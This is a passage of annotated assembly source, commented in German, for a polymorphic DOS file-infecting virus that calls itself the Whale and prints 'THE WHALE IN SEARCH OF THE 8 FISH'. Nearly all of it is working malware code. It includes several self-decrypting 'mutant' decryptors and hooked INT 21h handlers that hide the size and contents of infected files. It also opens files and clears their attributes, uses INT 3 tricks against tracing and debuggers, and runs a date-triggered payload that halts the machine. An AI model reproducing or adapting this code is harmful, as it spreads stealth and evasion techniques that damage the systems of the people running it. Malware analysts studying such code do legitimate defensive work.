  3774. J0416F:         CALL    J041A1
  3775. J04172:         CALL    WORD PTR DS:[D2598+1] ; == call Int 21
  3776.                 JMP     J0416F
  3777.  
  3778. J04178:         MOV     AX,0002h        ; AX = 0002
  3779.                 ADD     BX,0DD61h       ; BX =
  3780.                 DEC     BH              ; BX =
  3781.                 MOV     CX,2184h        ; CX = 2184
  3782.                 PUSH    CS
  3783.                 XOR     CH,AL           ; CX = 2386
  3784.                 POP     DS
  3785.  
  3786. J04188:         XOR     BYTE Ptr DS:[BX],67h
  3787.                 DEC     CX
  3788.                 ADD     BX,AX           ; Jedes 2 byte verXORen
  3789.                 DEC     CX
  3790.                 JNZ     J04188          ; 11C3 (!!!) mal :)
  3791.  
  3792.                 ADD     BX,008Fh        ; BX =
  3793.                 DEC     BYTE Ptr DS:[BX];
  3794.                 PUSH    ES
  3795.                 POP     DS
  3796.                 JNZ     J0419C           ; <- BX+8E
  3797.                 RETN
  3798.  
  3799. J0419C:         MOV     AX,CX
  3800.                 JMP_ENTRY 6,mut_6
  3801.  
  3802. J041A1:         POP     BX
  3803.                 JMP     J04178
  3804. ;=====================================================================
  3805. ;====================================================( MUTANT # 25)===
  3806. ;=====================================================================
  3807. mut_25          EQU     $
  3808.                 DEC     CX                      ; = OFFSET 4BB5
  3809. J041A5:         XOR     BYTE Ptr DS:[BX],0E8h
  3810.                 ADD     BX,+02h
  3811.                 SUB     CX,+02h
  3812.                 JNZ     J041A5
  3813.                 POP     BX
  3814.                 PUSH    word ptr DS:[@INT21]
  3815.                 POP     word ptr DS:[D2598]
  3816.                 JMP     SHORT J041BE
  3817.  
  3818.         ;-------( einsprung )--------------
  3819. J041BB:         CALL    J041EC
  3820. J041BE:         POP     CX
  3821.  
  3822.                 CALL    [D2598]
  3823.                 JMP     J041BB
  3824.  
  3825. J041C5:         MOV     AX,0002h       ; AX = 2,BX =
  3826.                 ADD     BX,0DC61h      ; BX =
  3827.                 MOV     CX,2386h       ; CX = 2386
  3828.                 PUSH    CS
  3829.                 XOR     CX,AX          ; CX = 2384
  3830.                 POP     DS
  3831. J041D3:         XOR     BYTE Ptr DS:[BX],0E8h
  3832.                 ADD     BX,AX
  3833.                 SUB     CX,AX
  3834.                 JNZ     J041D3
  3835.                                ; BX =
  3836.                 ADD     BX,008Fh       ; BX =
  3837.                 DEC     BYTE Ptr DS:[BX]
  3838.                 PUSH    ES
  3839.                 POP     DS
  3840.                 JNZ     J041E7
  3841.                 RETN
  3842.  
  3843. J041E7:         MOV     AX,CX
  3844.                 JMP_entry 25,mut_25
  3845.  
  3846. J041EC:         POP     BX
  3847.                 JMP     J041C5
  3848.  
  3849.                 db      33h
  3850. ;=====================================================================
  3851. ;=====================================================( MUTANT #4 )===
  3852. ;=====================================================================
  3853. mut_4           EQU     $
  3854.                 PUSH    DX                      ; = OFFSET 4BB5
  3855.                 MOV     DH,[BX-01]
  3856. J041F4:         MOV     DL,[BX]
  3857.                 XOR     [BX],DH
  3858.                 XCHG    DH,DL
  3859.                 ADD     BX,+01h
  3860.                 LOOP    J041F4
  3861.                 POP     DX
  3862.                 STI
  3863.                 POP     BX
  3864.                 POP     CX
  3865.  
  3866.                 CALL    DS:[@INT21]         ; CALL Int 21
  3867.         ;----( einsprung )----
  3868.                 CALL    J0420D
  3869. J0420A:         INC     AX
  3870.                 XOR     BX,SI
  3871. J0420D:         OR      SI,SI
  3872.                 INC     BH
  3873.                 POP     BX              ; BX =
  3874.                 SUB     BX,23A1h        ; BX =
  3875.                 ADD     BX,+02h         ; BX =
  3876.                 MOV     CX,2485h
  3877.                 DEC     CH              ; CX = 2385
  3878.                 PUSH    CS
  3879.                 POP     DS
  3880. J04220:         MOV     AL,[BX-01h]
  3881.                 XOR     [BX],AL
  3882.                 INC     BX
  3883.                 LOOP    J04220
  3884.                                 ; BX =
  3885.                 ADD     BX,008Eh        ; BX =
  3886.                 XCHG    BX,SI
  3887.                 DEC     BYTE Ptr DS:[SI]
  3888.                 JNZ     J04235
  3889.                 XCHG    SI,BX
  3890.                 RETN
  3891.  
  3892. J04235:         PUSH    ES
  3893.                 XOR     AX,AX
  3894.                 POP     DS
  3895.                 JMP_ENTRY 4,mut_4
  3896. ;=====================================================================
  3897. ;====================================================( MUTANT #13 )===
  3898. ;=====================================================================
  3899. mut_13          EQU     $
  3900.                 PUSH    DX                      ; = OFFSET 4BB5
  3901.                 MOV     DH,[BX-01h]
  3902. J04240:         MOV     DL,[BX]
  3903.                 ADD     [BX],DH
  3904.                 XCHG    DL,DH
  3905.                 INC     BX
  3906.                 LOOP    J04240
  3907.  
  3908.                 POP     DX
  3909.                 POP     BX
  3910.                 POP     CX
  3911.                 PUSH    SI
  3912.                 MOV     SI,2567h
  3913.  
  3914.                 DEC     SI
  3915.                 CALL    [SI]
  3916.         ;--------( einsprung ) ------
  3917.                 CALL    J04258
  3918.                 XOR     BX,SI
  3919. J04258:         XOR     SI,1876h
  3920.                 POP     BX
  3921.                 POP     SI
  3922.                 SUB     BX,Code_start   ; BX = 2830
  3923.                 MOV     CX,Code_Len     ; CX = 2385 wal-size
  3924.                 PUSH    CS
  3925.                 POP     DS
  3926. J04267:         MOV     AL,[BX-01h]
  3927.                 SUB     [BX],AL
  3928.                 INC     BX
  3929.                 LOOP    J04267
  3930.                 ADD     BX,008Eh
  3931.                 XCHG    SI,BX
  3932.                 DEC     BYTE Ptr DS:[SI]
  3933.                 JNZ     J0427C
  3934.                 XCHG    BX,SI
  3935.                 RETN
  3936.  
  3937. J0427E          equ     $+3     ; SPRUNGZIEL FÜR M#19, zeigt auf L0L0L0
  3938. J0427C:         PUSH    ES
  3939.                 XOR     AX,AX
  3940.                 POP     DS
  3941.                 JMP_ENTRY 13,mut_13
  3942.  
  3943.                 DW      0CE8BH
  3944.                 DW      05605H
  3945.                 DB      34H
  3946. ;=====================================================================
  3947. ;====================================================( MUTANT # 19)===
  3948. ;=====================================================================
  3949. mut_19          EQU     $
  3950.                 PUSH    AX                      ; = OFFSET 4BB5
  3951. J04289:         XOR     BYTE Ptr DS:[BX],05h
  3952.                 INC     BYTE Ptr DS:[BX]
  3953.                 INC     BX
  3954.                 LOOP    J04289
  3955.                 POP     AX
  3956.                 INC     BX
  3957.                 INC     CX
  3958.                 STD
  3959.                 STC
  3960.                 PUSH    AX
  3961.                 XLAT                            ; MOV AL,[BX+AL]
  3962.                 POP     AX
  3963.                 POP     BX
  3964.                 POP     CX
  3965.  
  3966.                 CALL    DS:[@INT21]         ; CALL INT 21h
  3967.         ;-------( einsprung )--------------
  3968.                 CALL    J042A5
  3969.  
  3970. J042A2:         MOV     BX,5601h
  3971. J042A5:         POP     BX              ; BX =
  3972.                 SUB     BX,239Fh        ; BX =
  3973.                 MOV     CX,8934h
  3974.                 MOV     CX,code_len     ; CX = 2385
  3975.                 PUSH    CS
  3976.                 PUSH    AX
  3977.                 MOV     AX,0000h
  3978.                 MOV     DS,AX
  3979.                 POP     AX
  3980.                 POP     DS              ; DS=CS !
  3981. J042B9:         DEC     BYTE Ptr DS:[BX]
  3982.                 XOR     BYTE Ptr DS:[BX],05h
  3983.                 INC     BX
  3984.                 LOOP    J042B9
  3985.                 MOV     CX,0023h
  3986.                 DEC     BYTE Ptr DS:[BX+008Eh]
  3987.                 JZ      J0427E
  3988.  
  3989.                 PUSH    ES
  3990.                 MOV     CX,0000h
  3991.                 POP     DS
  3992.                 JMP_ENTRY 19,mut_19
  3993.  
  3994.                 DW      0FBC3h
  3995. ;=====================================================================
  3996. ;=====================================================( MUTANT #2 )===
  3997. ;=====================================================================
  3998. Mut_2           EQU     $
  3999.                 PUSH    AX                      ; = OFFSET 4BB5
  4000.                 XLAT                            ; MOV AL,[BX+AL]
  4001. J042D6:         XOR     BYTE Ptr DS:[BX],10h
  4002.                 ADD     BX,+01h
  4003.                 LOOP    J042D6
  4004.                 POP     AX
  4005.                 POP     BX
  4006.                 POP     CX
  4007.                 PUSH    SI
  4008.                 MOV     SI,Offset @INT21
  4009.                 CLC
  4010.  
  4011.                 CALL    [SI]            ; CALL Int 21
  4012.                 CLC
  4013.                 POP     SI
  4014.                 INC     BX
  4015.         ;-------( einsprung )--------------
  4016.                 CALL    J04317
  4017.  
  4018. J042EE:         SUB     BX,239Fh        ; BX =
  4019.                 MOV     CX,2387h
  4020.                 DEC     CX
  4021.                 STC
  4022.                 DEC     CX              ; CX = 2385
  4023.  
  4024. J042F8:         XOR     BYTE Ptr DS:[BX],10h
  4025.                 ADD     BX,+01h
  4026.                 LOOP    J042F8
  4027.                                 ; BX =
  4028.                 MOV     CX,BX
  4029.                 MOV     CX,008Eh
  4030.                 ADD     BX,CX           ; BX =
  4031.                 DEC     BYTE Ptr DS:[BX]
  4032.                 JZ      J0430D
  4033.                 JMP     SHORT J0430E
  4034.  
  4035. J0430D:         RETN
  4036.  
  4037. J0430E:         PUSH    ES
  4038.                 MOV     AX,0000h
  4039.                 POP     DS
  4040.                 CLC
  4041.                 JMP_ENTRY 2,mut_2
  4042.                 ;----------------
  4043. J04317:         POP     BX
  4044.                 PUSH    BX
  4045.                 PUSH    CS
  4046.                 PUSH    CX
  4047.                 STC
  4048.                 POP     CX
  4049.                 POP     DS
  4050.                 CLC
  4051.                 RETN
  4052. ;=====================================================================
  4053. ;======================================================( MUTANT #9)===
  4054. ;=====================================================================
  4055. Mut_9           EQU     $
  4056. J04320:         ADD     BYTE Ptr DS:[BX],05h    ; = OFFSET 4BB5
  4057.                 ADD     BX,+01h
  4058.                 LOOP    J04320
  4059.                 POP     BX
  4060.                 INC     CX
  4061.                 POP     CX
  4062.                 PUSH    SI
  4063.                 MOV     SI,Offset @INT21
  4064.  
  4065.                 CALL    [SI]               ; CALL INT 21
  4066.                 CLC
  4067.                 POP     SI
  4068.                 INC     DX
  4069.                 PUSH    AX
  4070.                 POP     DX
  4071.                 NOP
  4072.         ;-------( einsprung )--------------
  4073.                 CALL    J0433B
  4074. J0433A:         CLC
  4075. J0433B:         POP     BX              ; BX =
  4076.                 SUB     BX,239Fh        ; BX =
  4077.                 MOV     CH,23h
  4078.                 MOV     CL,85h          ; CX = 2385
  4079.                 CALL    J04360          ; DS = CS
  4080.  
  4081. J04347:         SUB     BYTE Ptr DS:[BX],05h
  4082.                 INC     BX
  4083.                 CLC
  4084.                 ADD     DX,+12h
  4085.                 LOOP    J04347
  4086.                 ADD     BX,008Eh        ; BX =
  4087.                 DEC     BYTE Ptr DS:[BX]
  4088.                 JNZ     J04364
  4089.                 RETN
  4090.  
  4091.                 INC     BX
  4092.                 ADD     CX,0D7Ah
  4093.                 XLAT                            ; MOV AL,[BX+AL]
  4094. J04360:         PUSH    CS
  4095.                 POP     DS
  4096.                 RETN
  4097.  
  4098.                 DB      0A4H
  4099. J04364:         PUSH    ES
  4100.                 POP     DS
  4101.                 JMP_Entry 9,mut_9
  4102.                 DB      25H
  4103.                 DB      26H
  4104.                 DB      85h
  4105. ;=====================================================================
  4106. ;========================================( Kodiert 1274h... 1B5Ch )===
  4107. ;========================================(       == 3A84 .. 436Ch )===
  4108. ;=====================================================================
  4109. Code_3A84:      MDECODE 68
  4110. J04371:         MOV     BX,Offset J03A84-Offset VirStart      ; 1274h
  4111.                 MOV     CX,Offset Code_3A84-Offset J03A84     ; 08E8h
  4112. J04377:         IN      AL,40h
  4113.                 OR      AL,00h
  4114.                 JZ      J04377
  4115.  
  4116. J0437D:         XOR     CS:[BX],AL
  4117.                 INC     BX
  4118.                 LOOP    J0437D
  4119.  
  4120.                 CALL    J04386
  4121. J04386:         POP     BX
  4122.                 ADD     BX,OFFSET XORBYTE_7D - Offset J04386  ; +1E
  4123.                                             ; GEGENSTUECK IST DORT !
  4124.                 MOV     CS:[BX],AL
  4125.                 MCODE   68
  4126.                 RETN
  4127. ;=====================================================================
  4128. ;======================================( Dekodiert 1274h... 1B5Ch )===
  4129. ;=====================================================================
  4130. Decode_3A84:    MOV     BX,Offset J03A84-Offset VirStart      ; 1274h
  4131.                 MOV     CX,Offset Code_3A84-Offset J03A84     ; 08E8h
  4132.                 ;CALL    J04984         ; wie ist es mit dem RET ???
  4133.                 CALL    J043A1          ; muesste CALL 43A1 heissen .
  4134.  
  4135.                 DB      90h
  4136.                 DB      70h
  4137.                 db      90h
  4138.                 db      91h
  4139.                 db      7dh
  4140.                 db      73h
  4141.  
  4142. J043A1:         XOR     BYTE PTR CS:[BX],00  ; <---- !
  4143.  
  4144. XORBYTE_7D      EQU     $-1            ; !!!!!!!!
  4145.  
  4146.                 INC     BX
  4147.                 LOOP    J043A1
  4148.                 RETN
  4149. ;======================================================================
  4150.                 DB      02eh,0c7h,006h,099h
  4151.                 DB      007h,000h,000h,0e8h
  4152. ;==================================================================
  4153. ;===========================================( Vorarbeiten )========
  4154. ;==================================================================
  4155. J043B1:         MDECODE 69
  4156.                 CALL    Trace_int_13h
  4157.                 PUSH    DX
  4158.                 MOV     AH,36h          ; Get free Space on Disk
  4159.                 MOV     DL,CS:[D2428]   ; DL = Disk
  4160.                 CALL    CS:[@INT21]
  4161.                 MUL     CX
  4162.                 MUL     BX              ; AX*BX*CX = Free space in Byte
  4163.                 MOV     BX,DX           ; DX = Total Clusters on disk
  4164.                 POP     DX
  4165.                 OR      BX,BX
  4166.                 MCODE   69
  4167.                 JNZ     J043DA
  4168.  
  4169. J043D5:         CMP     AX,4000h
  4170.                 JB      J0443D
  4171.  
  4172. J043DA:         MOV     AX,4300h               ; GET FILE-ATTRIBUT
  4173.                 CALL    CS:[@INT21]
  4174.                 JB      J0443D
  4175.  
  4176.                 MDECODE 70
  4177.                 MOV     CS:[D24F4],DX          ; Offset Filename
  4178.                 MOV     CS:[D24F2],CX          ; File-Attribut
  4179.                 MOV     CS:[D24F6],DS          ; Segment Filename
  4180.  
  4181.                 MOV     AX,4301h               ; SET File-Attribut
  4182.                 XOR     CX,CX
  4183.                 CALL    CS:[@INT21]
  4184.                 CMP     BYTE PTR CS:[Error],00h
  4185.  
  4186.                 MCODE   70
  4187.                 JNZ     J0443D
  4188.  
  4189.                 MOV     AX,3D02h                ; OPEN FILE / HANDLE
  4190.                 CALL    CS:[@INT21]
  4191.                 JB      J0443D
  4192.  
  4193.                 MDECODE 71
  4194.                 MOV     BX,AX                   ; HANDLE NACH BX
  4195.                 PUSH    BX
  4196.                 MOV     AH,32h                  ; GET DISK INFO
  4197.                 MOV     DL,CS:[D2428]           ; DRIVE NR.
  4198.                 CALL    CS:[@INT21]
  4199.                 MOV     AX,[BX+1Eh]             ; DS:BX : DISK-INFO-BLOCK
  4200.                 MOV     CS:[D24EC],AX
  4201.                 POP     BX
  4202.                 CALL    J048CD
  4203.                 MCODE   71
  4204.                 RETN
  4205.                 DB      0B4h
  4206. ;=================================================( Fehler melden )===
  4207. J0443D:         MDECODE 72
  4208.                 xor     bx,bx
  4209.                 dec     bx              ; BX = 0ffffh
  4210.                 call    J048CD
  4211.                 MCODE   72
  4212.                 ret
  4213. ;=====================================================================
  4214. ;================================================( INT 24-Handler )===
  4215. ;=====================================================================
  4216. J0444D:         MDECODE 73
  4217.                 XOR     AL,AL
  4218.                 MOV     BYTE PTR CS:[Error],01h
  4219.                 MCODE   73
  4220.                 IRET
  4221.                 DB      8Ch
  4222. ;=====================================================================
  4223. ;==================================( Checkt die Uhrzeit des Files )===
  4224. ;=====================================================================
  4225. CheckFileTime:  MDECODE 74
  4226.                 PUSH    CX
  4227.                 PUSH    DX
  4228.                 PUSH    AX
  4229.                 MOV     AX,4400h                ; Get IOCTL-Dev.Info
  4230.                 CALL    CS:[@INT21]   ; Handle in BX
  4231.                 XOR     DL,80h                  ; DL and 80h = 1: Device,
  4232.                                                 ; DL and 80h = 0: Diskfile
  4233.                 TEST    DL,80h                  ;
  4234.                 JZ      J04483                  ; es war KEIN Diskfile !
  4235.  
  4236.                 MOV     AX,5700h                ; Get File-Timestamp
  4237.                 CALL    CS:[@INT21]
  4238.                 TEST    CH,80h                  ; Stunde >= 16 ?
  4239. J04483:         POP     AX
  4240.                 POP     DX
  4241.                 POP     CX
  4242.                 MCODE   74
  4243.                 RETN
  4244.                 DB      0F6h
  4245. ;=====================================================================
  4246. ;======================( von INT 3/21h angesprungen, falls AH=40h )===
  4247. ;=====================================================================
  4248. J0448C:         CMP     Word PTR CS:[D2581],4   ; FILEHANDLE
  4249.                 JB      J044BA                  ; KEIN FILE !
  4250.                 PUSH    CS
  4251.                 POP     BX
  4252.                 SUB     BH,20h                  ; 2 Segmente vor CS
  4253.                 MOV     AX,CS:[D257B]           ; AX := SAVE-DS
  4254.                 CMP     AX,BX                   ; Ist SAVE-DS höher
  4255.                 JB      J044BA                  ; als D257B, z.B. das
  4256.                 MOV     CS:[D257B],BX           ; DS des COMMAND.COM
  4257.                 JMP     SHORT J044BA
  4258.                 DB      0E8h
  4259. ;=====================================================================
  4260. ;=================================( von INT 3=INT 21 angesprungen )===
  4261. ;=====================================================================
  4262. J044A9:         SUB     BYTE PTR CS:[SwapCode_7],52h
  4263.                 PUSH    CS:[D2579]      ; SAVE-AX
  4264.                 POP     CX
  4265.                 CMP     CH,40h          ; WRITE File
  4266.         ;=============================================================
  4267.         ;durch das obige "SUB BYTE PTR CS:[1CA8h]" wird folgender Code
  4268.         ;=============================================================
  4269. SwitchByte      EQU     $
  4270.                 DB      0C6h    ; aus 0c6h wird 074h, Spiel mit Queue!
  4271.                 DB      0D2H    ; es sind genau 8 Byte dazwischen.....
  4272.         ;=============================================================
  4273.         ; folgendermassen verändert :
  4274.         ;=============================================================
  4275.         ;        JZ      J0448C
  4276.         ;=============================================================
  4277. J044BA:
  4278.                 POP     Word Ptr DS:[000Eh] ; INT 3 restaurieren
  4279.                 POP     Word Ptr DS:[000Ch]
  4280.                 ADD     BYTE PTR CS:[SwapCode_7],52h
  4281.                 CALL    RestoreRegs
  4282.                 JMP     J02AFB
  4283. ;=====================================================================
  4284. ;=================================================( Get File-Size )===
  4285. ;=====================================================================
  4286. GetFileSize:    MDECODE 75
  4287.                 CALL    SaveRegisters
  4288.  
  4289.                 XOR     CX,CX
  4290.                 MOV     AX,4201h          ; SEEK von momentaner Position
  4291.                 XOR     DX,DX             ; 0 (!) byte weiter
  4292.                 CALL    CS:[@INT21]
  4293.                 MOV     Word ptr CS:[FilePos+2],DX
  4294.                                          ; in DX:AX ist neue/alte Position
  4295.                 MOV     Word ptr CS:[FilePos  ],AX
  4296.  
  4297.                 MOV     AX,4202h          ; SEEK zum File-Ende
  4298.                 XOR     CX,CX
  4299.                 XOR     DX,DX
  4300.                 CALL    CS:[@INT21]
  4301.  
  4302.                 MOV     Word ptr CS:[FileSize+2],DX   ; File-Laenge zurück
  4303.                 MOV     Word ptr CS:[FileSize  ],AX
  4304.  
  4305.                 MOV     AX,4200h          ; SEEK zur alten Position
  4306.                 MOV     DX,Word ptr CS:[FilePos  ]
  4307.                 MOV     CX,Word ptr CS:[FilePos+2]
  4308.                 CALL    CS:[@INT21]
  4309.  
  4310.                 CALL    GetRegsFromVirstack
  4311.                 MCODE   75
  4312.                 RETN
  4313. ;=====================================================================
  4314. ;======================================( INT 3 aus INT 21-Handler )===
  4315. ;=====================================================================
  4316. J0451A:         POP     AX      ; POP IP
  4317.                 POP     BX      ; POP CS
  4318.                 POP     CX      ; POP Flags
  4319.                 JMP     J044A9
  4320. ;=====================================================================
  4321. ;=================================( Handler für Get/Set Filedatum )===
  4322. ;=====================================================================
  4323. J0451F:         OR      AL,AL           ; GET File-Date ??
  4324.                 JNZ     J04550          ; Nein, SET !
  4325.                 ;---------------------------------( get file-date )---
  4326.                 MDECODE 76
  4327.                 AND     WORD PTR CS:[D24B3],0FFFEH ; clear CF
  4328.                 CALL    PopALL
  4329.                 CALL    CS:[@INT21]
  4330.                 MCODE   76
  4331.                 JB      J04547
  4332.                 TEST    CH,80h          ; FILE-STUNDE > 16 ?
  4333.                 JZ      J04544
  4334.                 SUB     CH,80h          ; Wenn ja, 16 abziehen
  4335. J04544:         JMP     IRET_Int21h     ; INT 21 beenden
  4336.                 ;------------------------------------------------------
  4337. J04547:         OR      WORD PTR CS:[D24B3],+01h; SET CF des Callers
  4338.                 JMP     IRET_Int21h
  4339.                 ;----------------------------------( set file-date )---
  4340. J04550:         CMP     AL,01h          ; ist es 'set file date' ?
  4341.                 JNZ     J045CD          ; Fehler im Walcode!
  4342.                                         ; CALL LOW-INT-21
  4343.                 MDECODE 77
  4344.                 AND     WORD PTR CS:[D24B3],0FFFEH ; CF löschen
  4345.                 TEST    CH,80h          ; Stunde > 16 ?
  4346.                 MCODE   77
  4347.                 JZ      J0456B          ; nein
  4348.                 SUB     CH,80h          ; 16 abziehen
  4349. J0456B:         CALL    CheckFileTime
  4350.                 JZ      J04573          ; kein DISK-File,
  4351.                                         ; oder Stunde < 16
  4352.                 ADD     CH,80h          ; sonst 16 addieren
  4353.                 ;-----------------
  4354. J04573:         MDECODE 78
  4355.                 CALL    CS:[@INT21]
  4356.                 MOV     [BP-04h],AX             ; Errorcode
  4357.                 ADC     WORD PTR CS:[D24B3],+00h; = CLC
  4358.                 MCODE   78
  4359.                 JMP     J02EA3                  ; fertig
  4360. ;=====================================================================
  4361. ;=====================================( gehört zum INT 21-Handler )===
  4362. ;=====================================================================
  4363. J0458D:         CALL    SaveRegs
  4364.                 IN      AL,21h
  4365.                 OR      AL,02h
  4366.                 OUT     21h,AL
  4367.                 PUSH    AX
  4368.                 MOV     AX,0000h
  4369.                 MOV     DS,AX
  4370.                 POP     AX
  4371.                 PUSH    Word Ptr DS:[000Ch]     ; HOLE INT 3-Offset
  4372.                 PUSH    Word Ptr DS:[000Eh]     ; HOLE INT 3-Segment
  4373.                 PUSH    CS
  4374.                 POP     Word Ptr DS:[000Eh]     ; Setze INT 3 auf
  4375.                                                 ; CS:01D0A / CS:451A
  4376.                 MOV     WORD Ptr DS:[000Ch],OFFSET J0451A-Offset VirStart
  4377.                 INT     3                       ; ** tricky **
  4378. ;---------------------------------------------------------------------
  4379.                 DB      83h
  4380. ;=====================================================================
  4381. ;=====================================( Handler für SEEK / Handle )===
  4382. ;=====================================================================
  4383. J045B2:         MDECODE 79
  4384. J045B7:         CMP     AL,02h          ; Seek File-ENDE ??
  4385.                 JNZ     J045C9          ; alles andere ist uninteressant
  4386.                 CALL    CheckFileTime   ; Ja ...
  4387.                 JZ      J045C9
  4388.                 SUB     WORD Ptr [BP-0Ah],Code_len
  4389.                 SBB     WORD Ptr [BP-08h],+00h
  4390. J045C9:         MCODE   79
  4391. J045CD:         JMP     J02B8B          ; CALL LOW-INT-21
  4392. ;=====================================================================
  4393. ;=====================================================( AKTIV-MSG )===
  4394. ;=====================================================================
  4395. J045D0:         MDECODE 80
  4396.                 CALL    PushALL
  4397.                 MOV     AH,2Ah                  ; GET DATE
  4398.                 CALL    CS:[@INT21]
  4399.                 ;==========( Nur zwischen 18.Februar und 21. März )===
  4400.                 CMP     DH,02h                  ; MONAT FEBRUAR ?
  4401.                 JZ      J045EC                  ; Ja : welcher
  4402.                 CMP     DH,03h                  ; März ?
  4403.                 JZ      J045F4                  ; Ja   : welcher
  4404.                 JMP     J04663                  ; Nein : fertig
  4405. J045EC:         CMP     DL,13h                  ; Nach dem 18. Februar ??
  4406.                 JNB     J045FC                  ; JA   -> MSG
  4407.                 JMP     J04663                  ; NEIN -> fertig
  4408.  
  4409. J045F4:         CMP     DL,15h                  ; VOR 21. März ??
  4410.                 JB      J045FC                  ; JA   : MSG
  4411.                 JMP     J04663                  ; NEIN : Fertig
  4412. J045FC:         JMP     J0463D
  4413.         ;========================================================
  4414. D45FF:  DB      "THE WHALE IN SEARCH OF THE 8 FISH",0ah,0dh
  4415.         DB      "I AM '~knzyvo}' IN HAMBURG$"
  4416.         ;========================================================
  4417. J0463D:         MOV     AH,09h
  4418.                 PUSH    CS
  4419.                 POP     DS
  4420.                 MOV     DX,Offset D45FF-Offset VirStart ; 1DFF
  4421.                 CALL    CS:[@INT21]
  4422.                 ;==================================( schreibe HLT )===
  4423.                 MOV     WORD PTR CS:[D2598],0F4F4h       ; = HLT
  4424.                 MOV     BX,D2598
  4425.                 PUSHF
  4426.                 PUSH    CS
  4427.                 PUSH    BX
  4428.                 XOR     AX,AX
  4429.                 MOV     DS,AX
  4430.                 MOV     WORD Ptr DS:[0006h],0FFFFh
  4431.                 CALL    Debugger_Check
  4432.                 ;-----------------------------------------------------
  4433. J04663:         CALL    PopALL
  4434.                 MCODE   80
  4435.                 RETN
  4436. ;=====================================================================
  4437. ;=================================( Handler für READ FILE /Handle )===
  4438. ;=====================================================================
  4439. J0466B:         JMP     J02B8B                  ; CALL LOW-INT-21
  4440. J0466E:         AND     BYTE PTR CS:[D24B3],0FEh; CF löschen
  4441.                 CALL    CheckFileTime
  4442.                 JZ      J0466B                  ; entweder kein DISK-File,
  4443.                                                 ; oder 'falsche' Uhrzeit
  4444.                 MDECODE 81
  4445.                 MOV     CS:[D24AD],DX           ; Buffer merken
  4446.                 MOV     CS:[D24AF],CX           ; Anzahl merken
  4447.                 MOV     WORD PTR CS:[D24B1],0000h
  4448.                 CALL    GetFileSize
  4449.                 MOV     AX,Word ptr CS:[FileSize  ]
  4450.                 MOV     DX,Word ptr CS:[FileSize+2]
  4451.                 SUB     AX,Code_len
  4452.                 SBB     DX,+00h
  4453.                 SUB     AX,Word ptr CS:[FilePos  ]
  4454.                 SBB     DX,Word ptr CS:[FilePos+2]
  4455.                 MCODE   81
  4456.                 JNS     J046B9                  ; Lang genug für den Wal
  4457.                 MOV     WORD Ptr [BP-04h],0000h
  4458.                 JMP     J031E7                  ; fertig
  4459. ;--------------------------------------------------------------------
  4460. J046B9:         MDECODE 82
  4461.                 JNZ     J046C8                  ; JMP if Platz
  4462.                 CMP     AX,CX                   ; Mehr als Wal-Länge ?
  4463.                 JA      J046C8
  4464.                 MOV     CS:[D24AF],AX           ; Dann eben mehr Byte lesen,
  4465.                                                 ; als verlangt !
  4466. J046C8:         MOV     CX,WORD PTR CS:[FilePos+2]
  4467.                 MOV     DX,WORD PTR CS:[FilePos  ]
  4468.                 OR      CX,CX                   ; Bin ich im 1. Segment ?
  4469.  
  4470.                 MCODE   82
  4471.                 JNZ     J046DF                  ; nein -> JMP
  4472.                 CMP     DX,+1Ch                 ; wenigstens hinter
  4473.                                                 ; dem EXE-Header ?
  4474.                 JBE     J04704                  ; JMP, wenn mittendrin !
  4475. ;--------------------------------------------------------------------
  4476. ;-----------------------------------------------( lese-Schleife )----
  4477. ;--------------------------------------------------------------------
  4478. J046DF:         MDECODE 83
  4479.                 MOV     DX,WORD PTR CS:[D24AD]  ; Lese in DS:DX
  4480.                 MOV     AH,3Fh
  4481.                 MOV     CX,WORD PTR CS:[D24AF]  ; Soviele Byte
  4482.                 CALL    CS:[@INT21]
  4483.                 ADD     AX,WORD PTR CS:[D24B1]  ; Gesamtzahl gelesen
  4484.                 MOV     [BP-04h],AX
  4485.                 MCODE   83
  4486.                 JMP     J02EA3                  ; fertig
  4487. ;--------------------------------------------------------------------
  4488. J04704:         MOV     DI,DX                   ; Filepos
  4489.                 MOV     SI,DX
  4490.                 ADD     DI,WORD PTR CS:[D24AF]  ; Anzahl zu lesender byte
  4491.                 CMP     DI,+1Ch                 ; Summe < 1Ch ?
  4492.                 JB      J04717                  ; JMP wenn kleiner
  4493.                 XOR     DI,DI                   ; DI = 0
  4494.                 JMP     SHORT J0471C
  4495. ;--------------------------------------------------------------------
  4496.                 DB      0F7H
  4497. ;--------------------------------------------------------------------
  4498. J04717:         SUB     DI,01CH                 ; DI ist z.B. 10H.
  4499.                                                 ; SUB DI,1C : DI = FFF4
  4500.                 NEG     DI                      ; NEG DI    : DI = 000B
  4501. J0471C:         MDECODE 84
  4502.                 MOV     AX,DX
  4503.                 MOV     DX,Word ptr CS:[FileSize  ]
  4504.                 MOV     CX,Word ptr CS:[FileSize+2]
  4505.  
  4506.                 ADD     DX,+0Fh         ; Einen Paragrafen weiter
  4507.                 ADC     CX,+00h
  4508.  
  4509.                 AND     DX,0FFEFH       ; ergibt eine Rundung
  4510.                                         ; auf volle Paragrafen
  4511.                 SUB     DX,23FCh        ; Wal-Size abziehen
  4512.                 SBB     CX,+00h
  4513.  
  4514.                 ADD     DX,AX
  4515.                 ADC     CX,+00h
  4516.  
  4517.                 MOV     AX,4200h         ; SEEK from Start
  4518.                 CALL    CS:[@INT21]
  4519.  
  4520.                 MOV     CX,001Ch
  4521.                 SUB     CX,DI
  4522.                 SUB     CX,SI
  4523.  
  4524.                 MOV     AH,3Fh           ; READ FILE
  4525.                 MOV     DX,CS:[D24AD]
  4526.                 CALL    CS:[@INT21]
  4527.  
  4528.                 ADD     CS:[D24AD],AX
  4529.                 SUB     CS:[D24AF],AX
  4530. J04767:         ADD     CS:[D24B1],AX
  4531.  
  4532.                 XOR     CX,CX
  4533.                 MOV     AX,4200h                ; SEEK from Start
  4534.                 MOV     DX,001Ch                ; zur Position 1Ch
  4535.                 CALL    CS:[@INT21]
  4536.  
  4537.                 MCODE   84
  4538.                 JMP     J046DF                  ; zum nächsten Teilstück
  4539. ;=====================================================================
  4540. ;=========================( Handler für FindFirst/Findnext /ASCIIZ)===
  4541. ;=====================================================================
  4542. J04780:         MDECODE 85
  4543.                 AND     WORD PTR CS:[D24B3],0FFFEH      ; ZF löschen
  4544.                 CALL    PopALL
  4545.                 CALL    CS:[@INT21]
  4546.                 CALL    PushALL
  4547.                 MCODE   85
  4548.                 JNB     J047A5
  4549.                 OR      WORD PTR CS:[D24B3],+01h
  4550. J047A0          EQU     $-2
  4551.                 JMP     J02EA3                          ; fertig
  4552.         ;--------------------------;
  4553.         ;J047A0: AND     AL,01     ;
  4554.         ;        JMP     J02EA3    ;
  4555.         ;--------------------------;
